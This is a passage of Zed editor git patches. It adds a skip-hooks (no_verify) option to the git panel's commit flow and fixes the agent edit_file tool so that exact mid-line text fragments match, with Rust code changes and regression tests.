+            panel.toggle_skip_hooks(&SkipHooks, window, cx);
+            assert!(panel.commit_options().no_verify);
+
+            let focus_handle = panel.commit_editor.focus_handle(cx);
+            focus_handle.focus(window, cx);
+            assert!(panel.commit(&focus_handle, window, cx));
+        });
+        cx.run_until_parked();
+
+        panel.read_with(&cx, |panel, _| {
+            assert!(panel.skip_hooks_enabled());
+        });
+        let commit_count = fs
+            .with_git_state(path!("/project/.git").as_ref(), false, |state| {
+                state.commit_history.len()
+            })
+            .expect("fake repository should exist");
+        assert_eq!(commit_count, 0);
     }
 
     #[gpui::test]
@@ -9137,7 +9286,7 @@ mod tests {
     async fn test_view_file_tree_view(cx: &mut TestAppContext) {
         init_test(cx);
 
-        let (_project, workspace, panel, mut cx) = setup_git_panel_with_changes(
+        let (_, _project, workspace, panel, mut cx) = setup_git_panel_with_changes(
             cx,
             json!({
                 ".git": {},
@@ -11132,7 +11281,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_amend_state_is_per_repository(cx: &mut TestAppContext) {
+    async fn test_pending_commit_state_is_per_repository(cx: &mut TestAppContext) {
         init_test(cx);
         let fs = FakeFs::new(cx.background_executor.clone());
         fs.insert_tree(
@@ -11217,6 +11366,8 @@ mod tests {
                 buffer.edit([(start..end, "Amended message")], None, cx);
             });
             assert!(panel.amend_pending());
+            panel.set_skip_hooks_enabled(true, cx);
+            assert!(panel.skip_hooks_enabled());
         });
 
         // Switching the active repository away exits the amend state instead of
@@ -11226,6 +11377,7 @@ mod tests {
 
         panel.update(cx, |panel, cx| {
             assert!(!panel.amend_pending());
+            assert!(!panel.skip_hooks_enabled());
             // Only the active repository may serialize a pending amend, and we
             // just left repository A's amend, so nothing is left pending.
             let serialized = panel.serialized_commit_messages(cx);
@@ -12367,7 +12519,7 @@ mod tests {
     async fn test_focus_handle(cx: &mut TestAppContext) {
         init_test(cx);
 
-        let (_project, workspace, panel, mut cx) = setup_git_panel_with_changes(
+        let (_, _project, workspace, panel, mut cx) = setup_git_panel_with_changes(
             cx,
             json!({
                 ".git": {},
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 148ed9603b71f6..eb998cb7d9620a 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -3126,6 +3126,7 @@ impl GitStore {
                         amend: options.amend,
                         signoff: options.signoff,
                         allow_empty: options.allow_empty,
+                        no_verify: options.no_verify,
                     },
                     askpass,
                     cx,
@@ -7564,6 +7565,7 @@ impl Repository {
                                     amend: options.amend,
                                     signoff: options.signoff,
                                     allow_empty: options.allow_empty,
+                                    no_verify: options.no_verify,
                                 }),
                                 askpass_id,
                             })
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index 64687374c6179e..2fb5f79ecff1f0 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -413,6 +413,7 @@ message Commit {
     bool amend = 1;
     bool signoff = 2;
     bool allow_empty = 3;
+    bool no_verify = 4;
   }
 }
 

From f8851b686cce07cabe052a9606fa1f8492f30283 Mon Sep 17 00:00:00 2001
From: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Date: Thu, 23 Jul 2026 10:05:53 -0700
Subject: [PATCH 665/772] agent: Fix edit_file failing to match exact mid-line
 old_text fragments (#61489)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes the `edit_file` tool failing to resolve `old_text` fragments that
only cover part of a longer line. The streaming matcher compared the
query against whole trimmed buffer lines, so an exact substring like
`keyboard WASD, voxel-based` inside a much longer line failed the fuzzy
similarity threshold and the edit was rejected with "did not match any
content".

Supersedes #60615 — thanks to @ziimakc for the report, reproduction, and
initial investigation there. This PR takes a different approach based on
review feedback on that PR.

## Approach

- `StreamingFuzzyMatcher::push()` is unchanged: it still fuzzy-matches
completed lines incrementally so the UI can reveal the likely edit
location while `old_text` streams in.
- `finish()` now first searches the buffer for the complete raw query as
an exact byte substring (rope-native, overlap-aware KMP; no copy of the
buffer). Exact matches take precedence; fuzzy matching remains the
fallback for indentation drift, typos, and inserted/omitted lines.
- Exact matches are capped at two occurrences — enough to prove
ambiguity — and ambiguous or overlapping matches are rejected with the
existing "matched multiple locations" error instead of silently editing
one.
- The matcher now returns match candidates with their line alignment and
exact/fuzzy provenance in one result, and the edit pipeline uses that to
reindent correctly: for an exact mid-line match the first replacement
line keeps the retained prefix (zero delta) while subsequent lines get
the contextual indentation.
- The streaming parser now preserves the trailing newline of finalized
`old_text` (it still strips it from `new_text` to avoid duplicate line
endings, per #52661), so `"foo\n"` can disambiguate a standalone `foo`
line from `foo suffix`.

## Notes

- Exact-search cost is O(buffer + query) at finalization only; the
buffer is never copied into a `String` (the main concern with the
original PR).
- New regression tests cover mid-line fragments, exact-over-fuzzy
precedence, overlapping-match ambiguity, multiline replacement
indentation (spaces and tabs), trailing-newline disambiguation, and
newline-only edits.

Closes https://github.com/zed-industries/zed/issues/59369

Release Notes:

- Fixed agent edits failing when the text to replace is only part of a
line
---
 crates/agent/src/tools/edit_file_tool.rs      | 100 ++++++
 crates/agent/src/tools/edit_session.rs        |  60 +++-
 .../edit_session/streaming_fuzzy_matcher.rs   | 300 +++++++++++++++---
 .../tools/edit_session/streaming_parser.rs    |  37 +--
 4 files changed, 411 insertions(+), 86 deletions(-)

diff --git a/crates/agent/src/tools/edit_file_tool.rs b/crates/agent/src/tools/edit_file_tool.rs
index 4734dd6b36c338..bca682c038c049 100644
--- a/crates/agent/src/tools/edit_file_tool.rs
+++ b/crates/agent/src/tools/edit_file_tool.rs
@@ -324,6 +324,79 @@ mod tests {
         assert_eq!(new_text, "line 1\nmodified line 2\nline 3\n");
     }
 
+    #[gpui::test]
+    async fn test_streaming_edit_exact_fragments(cx: &mut TestAppContext) {
+        let content = concat!(
+            "fn spaces() {\n",
+            "    spaces_old();\n",
+            "}\n",
+            "fn tabs() {\n",
+            "\ttabs_old();\n",
+            "}\n",
+            "controls: keyboard WASD, voxel-based\n",
+            "prefix OLD suffix\n",
+            "foo suffix\n",
+            "foo\n",
+        );
+        let (edit_tool, _project, _action_log, _fs, _thread) =
+            setup_test(cx, json!({"file.rs": content})).await;
+        let result = cx
+            .update(|cx| {
+                edit_tool.clone().run(
+                    ToolInput::resolved(EditFileToolInput {
+                        path: "root/file.rs".into(),
+                        edits: vec![
+                            Edit {
+                                old_text: "keyboard WASD, voxel-based".into(),
+                                new_text: "arrow keys".into(),
+                            },
+                            Edit {
+                                old_text: "spaces_old();".into(),
+                                new_text: "spaces_new();\nspaces_more();".into(),
+                            },
+                            Edit {
+                                old_text: "tabs_old();".into(),
+                                new_text: "tabs_new();\ntabs_more();".into(),
+                            },
+                            Edit {
+                                old_text: "OLD".into(),
+                                new_text: "NEW\n".into(),
+                            },
+                            Edit {
+                                old_text: "foo\n".into(),
+                                new_text: "bar\n".into(),
+                            },
+                        ],
+                    }),
+                    ToolCallEventStream::test().0,
+                    cx,
+                )
+            })
+            .await;
+
+        let EditFileToolOutput::Success { new_text, .. } = result.unwrap() else {
+            panic!("expected success");
+        };
+        assert_eq!(
+            new_text,
+            concat!(
+                "fn spaces() {\n",
+                "    spaces_new();\n",
+                "    spaces_more();\n",
+                "}\n",
+                "fn tabs() {\n",
+                "\ttabs_new();\n",
+                "\ttabs_more();\n",
+                "}\n",
+                "controls: arrow keys\n",
+                "prefix NEW\n",
+                " suffix\n",
+                "foo suffix\n",
+                "bar\n",
+            )
+        );
+    }
+
     #[gpui::test]
     async fn test_streaming_edit_first_line_missing_indent(cx: &mut TestAppContext) {
         // Reproduces https://github.com/zed-industries/zed/issues/60302: the
@@ -627,6 +700,33 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_streaming_edit_rejects_overlapping_matches(cx: &mut TestAppContext) {
+        let (edit_tool, _project, _action_log, _fs, _thread) =
+            setup_test(cx, json!({"file.txt": "aaaaa"})).await;
+        let result = cx
+            .update(|cx| {
+                edit_tool.clone().run(
+                    ToolInput::resolved(EditFileToolInput {
+                        path: "root/file.txt".into(),
+                        edits: vec![Edit {
+                            old_text: "aaaa".into(),
+                            new_text: "replacement".into(),
+                        }],
+                    }),
+                    ToolCallEventStream::test().0,
+                    cx,
+                )
+            })
+            .await;
+
+        let EditFileToolOutput::Error { error, diff, .. } = result.unwrap_err() else {
+            panic!("expected error");
+        };
+        assert!(error.contains("matched multiple locations"));
+        assert!(diff.is_empty());
+    }
+
     /// When the edit fails after a session is created but before any edits are
     /// actually applied (e.g., the first `old_text` doesn't match), the empty
     /// diff placeholder in the UI should be replaced with the error message.
diff --git a/crates/agent/src/tools/edit_session.rs b/crates/agent/src/tools/edit_session.rs
index bf5308e90daa73..f96f84c7f68220 100644
--- a/crates/agent/src/tools/edit_session.rs
+++ b/crates/agent/src/tools/edit_session.rs
@@ -16,14 +16,14 @@ use language::{Buffer, BufferEditSource, BufferEvent, LanguageRegistry};
 use language_model::LanguageModelToolResultContent;
 use project::lsp_store::{FormatTrigger, LspFormatTarget};
 use project::{AgentLocation, Project, ProjectPath};
-use reindent::{Reindenter, compute_indent_delta, compute_rest_indent_delta};
+use reindent::{IndentDelta, Reindenter, compute_indent_delta, compute_rest_indent_delta};
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize, de::DeserializeOwned};
 use std::ops::Range;
 use std::path::PathBuf;
 use std::sync::Arc;
 use streaming_diff::{CharOperation, StreamingDiff};
-use streaming_fuzzy_matcher::StreamingFuzzyMatcher;
+use streaming_fuzzy_matcher::{SearchMatch, SearchMatches, StreamingFuzzyMatcher};
 use streaming_parser::{EditEvent, StreamingParser, WriteEvent};
 use text::ToOffset;
 use ui::SharedString;
@@ -393,6 +393,7 @@ enum EditPipelineEntry {
         edit_cursor: usize,
         reindenter: Reindenter,
         original_snapshot: text::BufferSnapshot,
+        strip_trailing_newline: bool,
     },
 }
 
@@ -506,7 +507,10 @@ impl EditPipeline {
                 if !chunk.is_empty() {
                     matcher.push(chunk, None);
                 }
-                let range = extract_match(
+                let ResolvedMatch {
+                    search_match: SearchMatch { range, line_pairs },
+                    is_exact,
+                } = extract_match(
                     matcher.finish(),
                     buffer,
                     edit_index,
@@ -535,16 +539,20 @@ impl EditPipeline {
                         .unwrap_or("")
                         .chars(),
                 );
-                let first_line_delta = compute_indent_delta(buffer_indent, query_indent);
-
+                let contextual_delta = compute_indent_delta(buffer_indent, query_indent);
+                let first_line_delta = if is_exact {
+                    // An exact range may start mid-line, where the retained prefix already
+                    // provides the first replacement line's indentation.
+                    IndentDelta::Spaces(0)
+                } else {
+                    contextual_delta
+                };
                 // Query row 0 is excluded: its delta is `first_line_delta`,
                 // which intentionally differs when the model stripped the
                 // first line's indentation.
                 let rest_delta = compute_rest_indent_delta(
-                    first_line_delta,
-                    matcher
-                        .line_pairs(&range)
-                        .unwrap_or(&[])
+                    contextual_delta,
+                    line_pairs
                         .iter()
                         .filter(|(query_row, _)| *query_row != 0)
                         .filter_map(|(query_row, buffer_row)| {
@@ -556,6 +564,7 @@ impl EditPipeline {
                         }),
                 );
 
+                let strip_trailing_newline = snapshot.contains_str_at(range.end, "\n");
                 let old_text_in_buffer = snapshot.text_for_range(range.clone()).collect::<String>();
 
                 log::debug!(
@@ -572,6 +581,7 @@ impl EditPipeline {
                     edit_cursor: range.start,
                     reindenter: Reindenter::with_deltas(first_line_delta, rest_delta),
                     original_snapshot: text_snapshot,
+                    strip_trailing_newline,
                 });
 
                 cx.update(|cx| {
@@ -625,11 +635,17 @@ impl EditPipeline {
                     mut edit_cursor,
                     mut reindenter,
                     original_snapshot,
+                    strip_trailing_newline,
                 }) = self.current_edit.take()
                 else {
                     return Ok(());
                 };
 
+                let chunk = if strip_trailing_newline {
+                    chunk.strip_suffix('\n').unwrap_or(chunk)
+                } else {
+                    chunk
+                };
                 let mut final_text = reindenter.push(chunk);
                 final_text.push_str(&reindenter.finish());
 
@@ -933,32 +949,46 @@ fn apply_char_operations(
     }
 }
 
+struct ResolvedMatch {
+    search_match: SearchMatch,
+    is_exact: bool,
+}
+
 fn extract_match(
-    matches: Vec<Range<usize>>,
+    matches: SearchMatches,
     buffer: &Entity<Buffer>,
     edit_index: &usize,
     file_changed_since_last_read: bool,
     cx: &mut AsyncApp,
-) -> Result<Range<usize>, String> {
+) -> Result<ResolvedMatch, String> {
+    let (matches, is_exact) = match matches {
+        SearchMatches::Exact(matches) => (matches, true),
+        SearchMatches::Fuzzy(matches) => (matches, false),
+    };
     let file_changed_since_last_read_message = if file_changed_since_last_read {
         " The file has changed on disk since you last read it."
     } else {
         ""
     };
 
-    match matches.len() {
-        0 => Err(format!(
+    match matches.as_slice() {
+        [] => Err(format!(
             "Could not find matching text for edit at index {}. \
                 The old_text did not match any content in the file.{} \
                 Please read the file again to get the current content.",
             edit_index, file_changed_since_last_read_message,
         )),
-        1 => Ok(matches.into_iter().next().unwrap()),
+        [search_match] => Ok(ResolvedMatch {
+            search_match: search_match.clone(),
+            is_exact,
+        }),
         _ => {
             let snapshot = buffer.read_with(cx, |buffer, _cx| buffer.snapshot());
             let lines = matches
                 .iter()
-                .map(|range| (snapshot.offset_to_point(range.start).row + 1).to_string())
+                .map(|search_match| {
+                    (snapshot.offset_to_point(search_match.range.start).row + 1).to_string()
+                })
                 .collect::<Vec<_>>()
                 .join(", ");
             Err(format!(
diff --git a/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs b/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs
index 3515275f70a3c6..321fb1c3530d91 100644
--- a/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs
+++ b/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs
@@ -4,6 +4,9 @@ use std::{cmp, ops::Range};
 const REPLACEMENT_COST: u32 = 1;
 const INSERTION_COST: u32 = 3;
 const DELETION_COST: u32 = 10;
+// Two matches are enough to prove ambiguity, so stop scanning early; exact
+// matches are byte-identical and can't be ranked.
+const MAX_EXACT_MATCHES: usize = 2;
 
 /// A streaming fuzzy matcher that can process text chunks incrementally
 /// and return the best match found so far at each step.
@@ -12,6 +15,7 @@ pub struct StreamingFuzzyMatcher {
     query_lines: Vec<String>,
     line_hint: Option<u32>,
     incomplete_line: String,
+    raw_query: String,
     matches: Vec<SearchMatch>,
     matrix: SearchMatrix,
 }
@@ -19,9 +23,15 @@ pub struct StreamingFuzzyMatcher {
 /// A match candidate: the matched byte range plus the 0-based
 /// `(query_row, buffer_row)` line pairs the search aligned to produce it.
 #[derive(Clone, Debug)]
-struct SearchMatch {
-    range: Range<usize>,
-    line_pairs: Vec<(u32, u32)>,
+pub(super) struct SearchMatch {
+    pub(super) range: Range<usize>,
+    pub(super) line_pairs: Vec<(u32, u32)>,
+}
+
+#[derive(Debug)]
+pub(super) enum SearchMatches {
+    Exact(Vec<SearchMatch>),
+    Fuzzy(Vec<SearchMatch>),
 }
 
 impl StreamingFuzzyMatcher {
@@ -32,6 +42,7 @@ impl StreamingFuzzyMatcher {
             query_lines: Vec::new(),
             line_hint: None,
             incomplete_line: String::new(),
+            raw_query: String::new(),
             matches: Vec::new(),
             matrix: SearchMatrix::new(buffer_line_count + 1),
         }
@@ -42,23 +53,6 @@ impl StreamingFuzzyMatcher {
         &self.query_lines
     }
 
-    /// Returns the 0-based `(query_row, buffer_row)` line pairs that the
-    /// search aligned for the match with the given range. Lines that were
-    /// skipped on either side of the alignment are absent.
-    pub fn line_pairs(&self, range: &Range<usize>) -> Option<&[(u32, u32)]> {
-        self.matches
-            .iter()
-            .find(|search_match| search_match.range == *range)
-            .map(|search_match| search_match.line_pairs.as_slice())
-    }
-
-    fn match_ranges(&self) -> Vec<Range<usize>> {
-        self.matches
-            .iter()
-            .map(|search_match| search_match.range.clone())
-            .collect()
-    }
-
     /// Push a new chunk of text and get the best match found so far.
     ///
     /// This method accumulates text chunks and processes complete lines.
@@ -70,6 +64,7 @@ impl StreamingFuzzyMatcher {
     /// query so far, or `None` if no suitable match exists yet.
     pub fn push(&mut self, chunk: &str, line_hint: Option<u32>) -> Option<Range<usize>> {
         // Add the chunk to our incomplete line buffer
+        self.raw_query.push_str(chunk);
         self.incomplete_line.push_str(chunk);
         self.line_hint = line_hint;
 
@@ -98,7 +93,26 @@ impl StreamingFuzzyMatcher {
     ///
     /// This processes any remaining incomplete line before returning the final
     /// match result.
-    pub fn finish(&mut self) -> Vec<Range<usize>> {
+    pub fn finish(&mut self) -> SearchMatches {
+        let exact_ranges = find_exact_matches(&self.snapshot, &self.raw_query);
+        if !exact_ranges.is_empty() {
+            if !self.incomplete_line.is_empty() {
+                self.query_lines
+                    .push(std::mem::take(&mut self.incomplete_line));
+            }
+            let matches = exact_ranges
+                .into_iter()
+                .map(|range| {
+                    let start_row = self.snapshot.offset_to_point(range.start).row;
+                    let line_pairs = (0..self.query_lines.len())
+                        .map(|query_row| (query_row as u32, start_row + query_row as u32))
+                        .collect();
+                    SearchMatch { range, line_pairs }
+                })
+                .collect();
+            return SearchMatches::Exact(matches);
+        }
+
         // Process any remaining incomplete line
         if !self.incomplete_line.is_empty() {
             if let [only_match] = self.matches.as_mut_slice() {
@@ -118,7 +132,7 @@ impl StreamingFuzzyMatcher {
                     only_match
                         .line_pairs
                         .push(((self.query_lines.len() - 1) as u32, extended_row));
-                    return self.match_ranges();
+                    return SearchMatches::Fuzzy(self.matches.clone());
                 }
             }
 
@@ -126,7 +140,7 @@ impl StreamingFuzzyMatcher {
                 .push(std::mem::take(&mut self.incomplete_line));
             self.matches = self.resolve_location_fuzzy();
         }
-        self.match_ranges()
+        SearchMatches::Fuzzy(self.matches.clone())
     }
 
     fn resolve_location_fuzzy(&mut self) -> Vec<SearchMatch> {
@@ -285,6 +299,62 @@ impl StreamingFuzzyMatcher {
     }
 }
 
+// Aho-Corasick's overlapping search requires a contiguous haystack, while its
+// streaming search skips overlapping matches. KMP detects overlapping ambiguity
+// while scanning rope chunks without copying the buffer.
+fn find_exact_matches(snapshot: &TextBufferSnapshot, query: &str) -> Vec<Range<usize>> {
+    if query.is_empty() {
+        return Vec::new();
+    }
+
+    let query = query.as_bytes();
+    let trailing_line_ending_len = if query.ends_with(b"\r\n") {
+        2
+    } else if query.ends_with(b"\n") {
+        1
+    } else {
+        0
+    };
+    let mut prefix_lengths = vec![0; query.len()];
+    let mut prefix_length = 0;
+    for query_index in 1..query.len() {
+        while prefix_length > 0 && query[query_index] != query[prefix_length] {
+            prefix_length = prefix_lengths[prefix_length - 1];
+        }
+        if query[query_index] == query[prefix_length] {
+            prefix_length += 1;
+            prefix_lengths[query_index] = prefix_length;
+        }
+    }
+
+    let mut matches = Vec::new();
+    let mut matched_length = 0;
+    for (offset, byte) in snapshot
+        .bytes_in_range(0..snapshot.len())
+        .flatten()
+        .copied()
+        .enumerate()
+    {
+        while matched_length > 0 && byte != query[matched_length] {
+            matched_length = prefix_lengths[matched_length - 1];
+        }
+        if byte == query[matched_length] {
+            matched_length += 1;
+        }
+        if matched_length == query.len() {
+            let raw_end = offset + 1;
+            let start = raw_end - query.len();
+            let end = raw_end - trailing_line_ending_len;
+            matches.push(start..end);
+            if matches.len() == MAX_EXACT_MATCHES {
+                break;
+            }
+            matched_length = prefix_lengths[matched_length - 1];
+        }
+    }
+    matches
+}
+
 fn fuzzy_eq(left: &str, right: &str) -> bool {
     const THRESHOLD: f64 = 0.8;
 
@@ -563,7 +633,7 @@ mod tests {
         assert_location_resolution(
             concat!(
                 "    Lorem\n",
-                "«    ipsum»\n",
+                "    «ipsum»\n",
                 "    dolor sit amet\n",
                 "    consecteur",
             ),
@@ -776,6 +846,111 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    fn test_exact_match_takes_precedence_over_fuzzy_match() {
+        let buffer = TextBuffer::new(
+            ReplicaId::LOCAL,
+            BufferId::new(1).unwrap(),
+            concat!(
+                "prefix keyboard WASD, voxel-based suffix\n",
+                "keyboard WASD, voxel-baseX\n",
+            ),
+        );
+        let snapshot = buffer.snapshot();
+        let mut matcher = StreamingFuzzyMatcher::new(snapshot.clone());
+
+        assert_eq!(matcher.push("keyboard WASD, voxel-based", None), None);
+        let SearchMatches::Exact(matches) = matcher.finish() else {
+            panic!("expected an exact match");
+        };
+        let [search_match] = matches.as_slice() else {
+            panic!("expected one match, got {}", matches.len());
+        };
+        assert_eq!(
+            snapshot
+                .text_for_range(search_match.range.clone())
+                .collect::<String>(),
+            "keyboard WASD, voxel-based"
+        );
+    }
+
+    #[gpui::test]
+    fn test_exact_match_uses_trailing_newline_to_disambiguate() {
+        let buffer = TextBuffer::new(
+            ReplicaId::LOCAL,
+            BufferId::new(1).unwrap(),
+            "foo suffix\nfoo\n",
+        );
+        let snapshot = buffer.snapshot();
+        let mut matcher = StreamingFuzzyMatcher::new(snapshot.clone());
+
+        matcher.push("foo\n", None);
+        let SearchMatches::Exact(matches) = matcher.finish() else {
+            panic!("expected an exact match");
+        };
+        let [search_match] = matches.as_slice() else {
+            panic!("expected one match, got {}", matches.len());
+        };
+        assert_eq!(
+            snapshot
+                .text_for_range(search_match.range.clone())
+                .collect::<String>(),
+            "foo"
+        );
+    }
+
+    #[gpui::test]
+    fn test_exact_newline_only_match_excludes_line_ending() {
+        let buffer = TextBuffer::new(ReplicaId::LOCAL, BufferId::new(1).unwrap(), "a\nb");
+        let mut matcher = StreamingFuzzyMatcher::new(buffer.snapshot().clone());
+
+        matcher.push("\n", None);
+        let SearchMatches::Exact(matches) = matcher.finish() else {
+            panic!("expected an exact match");
+        };
+        let [search_match] = matches.as_slice() else {
+            panic!("expected one match, got {}", matches.len());
+        };
+        assert_eq!(search_match.range, 1..1);
+    }
+
+    #[gpui::test]
+    fn test_exact_overlapping_matches_are_ambiguous() {
+        let buffer = TextBuffer::new(ReplicaId::LOCAL, BufferId::new(1).unwrap(), "aaaaa");
+        let mut matcher = StreamingFuzzyMatcher::new(buffer.snapshot().clone());
+
+        matcher.push("aaaa", None);
+        let matches = matcher.finish();
+
+        assert!(matches!(matches, SearchMatches::Exact(_)));
+        assert_eq!(match_ranges(&matches), vec![0..4, 1..5]);
+    }
+
+    #[gpui::test]
+    fn test_exact_multiline_match_does_not_extend_incomplete_line() {
+        let buffer = TextBuffer::new(
+            ReplicaId::LOCAL,
+            BufferId::new(1).unwrap(),
+            "prefix fragment\nnext\nnext\n",
+        );
+        let snapshot = buffer.snapshot();
+        let mut matcher = StreamingFuzzyMatcher::new(snapshot.clone());
+
+        assert_eq!(matcher.push("fragment\nnext", None), None);
+        let SearchMatches::Exact(matches) = matcher.finish() else {
+            panic!("expected an exact match");
+        };
+        let [search_match] = matches.as_slice() else {
+            panic!("expected one match, got {}", matches.len());
+        };
+        assert_eq!(
+            snapshot
+                .text_for_range(search_match.range.clone())
+                .collect::<String>(),
+            "fragment\nnext"
+        );
+    }
+
     #[gpui::test]
     fn test_prefix_of_last_line_resolves_to_correct_range() {
         let text = indoc! {r#"
@@ -797,26 +972,32 @@ mod tests {
         );
         let snapshot = buffer.snapshot();
 
-        // Query with a partial last line.
+        // Query with a partial last line. This is a verbatim substring of the
+        // buffer, so it resolves through the exact-match path.
         let query = "}\n\n\n\nfn render_search";
 
         let mut matcher = StreamingFuzzyMatcher::new(snapshot.clone());
         matcher.push(query, None);
         let matches = matcher.finish();
+        let matched = search_matches(&matches);
 
         // The match should include the line containing "fn render_search".
-        let matched_text = matches
-            .first()
-            .map(|range| snapshot.text_for_range(range.clone()).collect::<String>());
+        let matched_text = matched.first().map(|search_match| {
+            snapshot
+                .text_for_range(search_match.range.clone())
+                .collect::<String>()
+        });
 
         assert!(
-            matches.len() == 1,
+            matched.len() == 1,
             "Expected exactly one match, got {}: {:?}",
-            matches.len(),
+            matched.len(),
             matched_text,
         );
 
-        let matched_text = matched_text.unwrap();
+        let Some(matched_text) = matched_text else {
+            panic!("expected a match");
+        };
         pretty_assertions::assert_eq!(
             matched_text,
             "}\n\n\n\nfn render_search",
@@ -840,7 +1021,8 @@ mod tests {
             matcher.push(chunk, None);
         }
 
-        let actual_ranges = matcher.finish();
+        let actual_matches = matcher.finish();
+        let actual_ranges = match_ranges(&actual_matches);
 
         // If no expected ranges, we expect no match
         if expected_ranges.is_empty() {
@@ -904,13 +1086,13 @@ mod tests {
             ),
             None,
         );
-        let matches = matcher.finish();
-
-        assert_eq!(matches.len(), 1);
-        assert_eq!(
-            matcher.line_pairs(&matches[0]),
-            Some(&[(0, 3), (1, 5), (2, 6), (3, 7)][..])
-        );
+        let SearchMatches::Fuzzy(matches) = matcher.finish() else {
+            panic!("expected a fuzzy match");
+        };
+        let [search_match] = matches.as_slice() else {
+            panic!("expected one match, got {}", matches.len());
+        };
+        assert_eq!(search_match.line_pairs, [(0, 3), (1, 5), (2, 6), (3, 7)]);
     }
 
     #[test]
@@ -934,14 +1116,19 @@ mod tests {
         let mut matcher = StreamingFuzzyMatcher::new(buffer.snapshot().clone());
 
         // The last query line is incomplete and gets appended to the match by
-        // `finish` via verbatim comparison rather than the fuzzy search.
-        matcher.push("}\n\n\n\nfn render_search", None);
-        let matches = matcher.finish();
-
-        assert_eq!(matches.len(), 1);
+        // `finish` via verbatim comparison rather than the fuzzy search. The
+        // trailing space after `}` keeps the query from being an exact
+        // substring of the buffer, so the fuzzy extension path is exercised.
+        matcher.push("} \n\n\n\nfn render_search", None);
+        let SearchMatches::Fuzzy(matches) = matcher.finish() else {
+            panic!("expected a fuzzy match");
+        };
+        let [search_match] = matches.as_slice() else {
+            panic!("expected one match, got {}", matches.len());
+        };
         assert_eq!(
-            matcher.line_pairs(&matches[0]),
-            Some(&[(0, 2), (1, 3), (2, 4), (3, 5), (4, 6)][..])
+            search_match.line_pairs,
+            [(0, 2), (1, 3), (2, 4), (3, 5), (4, 6)]
         );
         assert_eq!(matcher.query_lines().len(), 5);
     }
@@ -967,11 +1154,26 @@ mod tests {
             .map(|range| finder.snapshot.text_for_range(range).collect::<String>())
     }
 
+    fn search_matches(matches: &SearchMatches) -> &[SearchMatch] {
+        match matches {
+            SearchMatches::Exact(matches) | SearchMatches::Fuzzy(matches) => matches,
+        }
+    }
+
+    fn match_ranges(matches: &SearchMatches) -> Vec<Range<usize>> {
+        search_matches(matches)
+            .iter()
+            .map(|search_match| search_match.range.clone())
+            .collect()
+    }
+
     fn finish(mut finder: StreamingFuzzyMatcher) -> Option<String> {
         let snapshot = finder.snapshot.clone();
         let matches = finder.finish();
-        matches
-            .first()
-            .map(|range| snapshot.text_for_range(range.clone()).collect::<String>())
+        search_matches(&matches).first().map(|search_match| {
+            snapshot
+                .text_for_range(search_match.range.clone())
+                .collect::<String>()
+        })
     }
 }
diff --git a/crates/agent/src/tools/edit_session/streaming_parser.rs b/crates/agent/src/tools/edit_session/streaming_parser.rs
index b210dd76e98480..62b5c5e3706f2c 100644
--- a/crates/agent/src/tools/edit_session/streaming_parser.rs
+++ b/crates/agent/src/tools/edit_session/streaming_parser.rs
@@ -114,7 +114,7 @@ impl StreamingParser {
                 if partial.new_text.is_some() && !state.buffer_new_text_until_old_text_done {
                     // new_text appeared after old_text, so old_text is done — emit everything.
                     let start = find_char_boundary(old_text, state.old_text_emitted_len);
-                    let chunk = normalize_done_chunk(old_text[start..].to_string());
+                    let chunk = old_text[start..].to_string();
                     state.old_text_done = true;
                     state.old_text_emitted_len = old_text.len();
                     events.push(EditEvent::OldTextChunk {
@@ -217,12 +217,12 @@ impl StreamingParser {
                 state.buffer_new_text_until_old_text_done = false;
                 events.push(EditEvent::OldTextChunk {
                     edit_index: index,
-                    chunk: normalize_done_chunk(edit.old_text.clone()),
+                    chunk: edit.old_text.clone(),
                     done: true,
                 });
                 events.push(EditEvent::NewTextChunk {
                     edit_index: index,
-                    chunk: normalize_done_chunk(edit.new_text.clone()),
+                    chunk: edit.new_text.clone(),
                     done: true,
                 });
                 continue;
@@ -230,7 +230,7 @@ impl StreamingParser {
 
             if !state.old_text_done {
                 let start = find_char_boundary(&edit.old_text, state.old_text_emitted_len);
-                let chunk = normalize_done_chunk(edit.old_text[start..].to_string());
+                let chunk = edit.old_text[start..].to_string();
                 state.old_text_done = true;
                 state.old_text_emitted_len = edit.old_text.len();
                 events.push(EditEvent::OldTextChunk {
@@ -242,7 +242,7 @@ impl StreamingParser {
 
             if !state.new_text_done {
                 let start = find_char_boundary(&edit.new_text, state.new_text_emitted_len);
-                let chunk = normalize_done_chunk(edit.new_text[start..].to_string());
+                let chunk = edit.new_text[start..].to_string();
                 state.new_text_done = true;
                 state.new_text_emitted_len = edit.new_text.len();
                 events.push(EditEvent::NewTextChunk {
@@ -301,12 +301,12 @@ impl StreamingParser {
             state.buffer_new_text_until_old_text_done = false;
             events.push(EditEvent::OldTextChunk {
                 edit_index: previous_index,
-                chunk: normalize_done_chunk(old_text.to_string()),
+                chunk: old_text.to_string(),
                 done: true,
             });
             events.push(EditEvent::NewTextChunk {
                 edit_index: previous_index,
-                chunk: normalize_done_chunk(new_text.to_string()),
+                chunk: new_text.to_string(),
                 done: true,
             });
             return Some(events);
@@ -319,7 +319,7 @@ impl StreamingParser {
             state.old_text_emitted_len = old_text.len();
             events.push(EditEvent::OldTextChunk {
                 edit_index: previous_index,
-                chunk: normalize_done_chunk(old_text[start..].to_string()),
+                chunk: old_text[start..].to_string(),
                 done: true,
             });
         }
@@ -332,7 +332,7 @@ impl StreamingParser {
             state.buffer_new_text_until_old_text_done = false;
             events.push(EditEvent::NewTextChunk {
                 edit_index: previous_index,
-                chunk: normalize_done_chunk(new_text[start..].to_string()),
+                chunk: new_text[start..].to_string(),
                 done: true,
             });
         }
@@ -387,13 +387,6 @@ fn find_char_boundary(text: &str, target: usize) -> usize {
     pos
 }
 
